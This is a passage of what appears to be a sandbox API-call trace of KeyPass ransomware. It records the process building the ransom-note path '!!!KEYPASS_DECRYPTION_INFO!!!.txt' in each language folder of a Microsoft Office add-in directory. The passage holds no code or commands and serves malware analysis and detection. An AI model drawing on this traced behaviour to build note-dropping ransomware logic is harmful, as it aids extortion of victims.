[0273.833] GetLastError () returned 0x3f0 [0273.833] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.833] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.834] GetFileType (hFile=0x131c) returned 0x1 [0273.835] CloseHandle (hObject=0x131c) returned 1 [0273.835] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.836] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.836] GetLastError () returned 0x3f0 [0273.836] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.836] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.839] GetFileType (hFile=0x1320) returned 0x1 [0273.840] CloseHandle (hObject=0x1320) returned 1 [0273.840] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.840] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.840] GetLastError () returned 0x3f0 [0273.840] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.840] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.841] GetFileType (hFile=0x1324) returned 0x1 [0273.842] CloseHandle (hObject=0x1324) returned 1 [0273.842] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.842] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.842] GetLastError () returned 0x3f0 [0273.842] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.842] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.843] GetFileType (hFile=0x1328) returned 0x1 [0273.844] CloseHandle (hObject=0x1328) returned 1 [0273.844] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.844] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.844] GetLastError () returned 0x3f0 [0273.844] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.844] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.846] GetFileType (hFile=0x1310) returned 0x1 [0273.846] CloseHandle (hObject=0x1310) returned 1 [0273.847] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.847] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.847] GetLastError () returned 0x3f0 [0273.847] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.847] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.848] GetFileType (hFile=0x132c) returned 0x1 [0273.849] CloseHandle (hObject=0x132c) returned 1 [0273.849] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.849] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.849] GetLastError () returned 0x3f0 [0273.849] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.849] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.850] GetFileType (hFile=0x1330) returned 0x1 [0273.851] CloseHandle (hObject=0x1330) returned 1 [0273.851] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.851] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.851] GetLastError () returned 0x3f0 [0273.851] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.851] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.854] GetFileType (hFile=0x1334) returned 0x1 [0273.854] CloseHandle (hObject=0x1334) returned 1 [0273.855] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.855] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.855] GetLastError () returned 0x3f0 [0273.855] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.855] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.859] GetFileType (hFile=0x1338) returned 0x1 [0273.860] CloseHandle (hObject=0x1338) returned 1 [0273.860] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.860] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.860] GetLastError () returned 0x3f0 [0273.861] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.861] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.862] GetFileType (hFile=0x1340) returned 0x1 [0273.863] CloseHandle (hObject=0x1340) returned 1 [0273.863] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.863] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.863] GetLastError () returned 0x3f0 [0273.863] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.863] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.864] GetFileType (hFile=0x1344) returned 0x1 [0273.865] CloseHandle (hObject=0x1344) returned 1 [0273.865] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.865] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.865] GetLastError () returned 0x3f0 [0273.865] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.865] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.866] GetFileType (hFile=0x1348) returned 0x1 [0273.867] CloseHandle (hObject=0x1348) returned 1 [0273.868] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.868] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.868] GetLastError () returned 0x3f0 [0273.868] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.868] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.871] GetFileType (hFile=0x134c) returned 0x1 [0273.872] CloseHandle (hObject=0x134c) returned 1 [0273.872] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.872] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.872] GetLastError () returned 0x3f0 [0273.872] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.872] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.874] GetFileType (hFile=0x1350) returned 0x1 [0273.875] CloseHandle (hObject=0x1350) returned 1 [0273.875] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.875] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.875] GetLastError () returned 0x3f0 [0273.876] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.876] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.877] GetFileType (hFile=0x133c) returned 0x1 [0273.878] CloseHandle (hObject=0x133c) returned 1 [0273.878] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.878] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.878] GetLastError () returned 0x3f0 [0273.878] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.878] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.880] GetFileType (hFile=0x1354) returned 0x1 [0273.880] CloseHandle (hObject=0x1354) returned 1 [0273.881] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.881] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.881] GetLastError () returned 0x3f0 [0273.881] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.881] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.882] GetFileType (hFile=0x1358) returned 0x1 [0273.883] CloseHandle (hObject=0x1358) returned 1 [0273.883] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.883] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.883] GetLastError () returned 0x3f0 [0273.883] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.883] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.885] GetFileType (hFile=0x135c) returned 0x1 [0273.886] CloseHandle (hObject=0x135c) returned 1 [0273.886] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.886] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.886] GetLastError () returned 0x3f0 [0273.886] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.886] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.888] GetFileType (hFile=0x1360) returned 0x1 [0273.889] CloseHandle (hObject=0x1360) returned 1 [0273.889] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.889] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.889] GetLastError () returned 0x3f0 [0273.889] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.889] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.890] GetFileType (hFile=0x1364) returned 0x1 [0273.891] CloseHandle (hObject=0x1364) returned 1 [0273.891] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.891] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.891] GetLastError () returned 0x3f0 [0273.891] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.891] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft 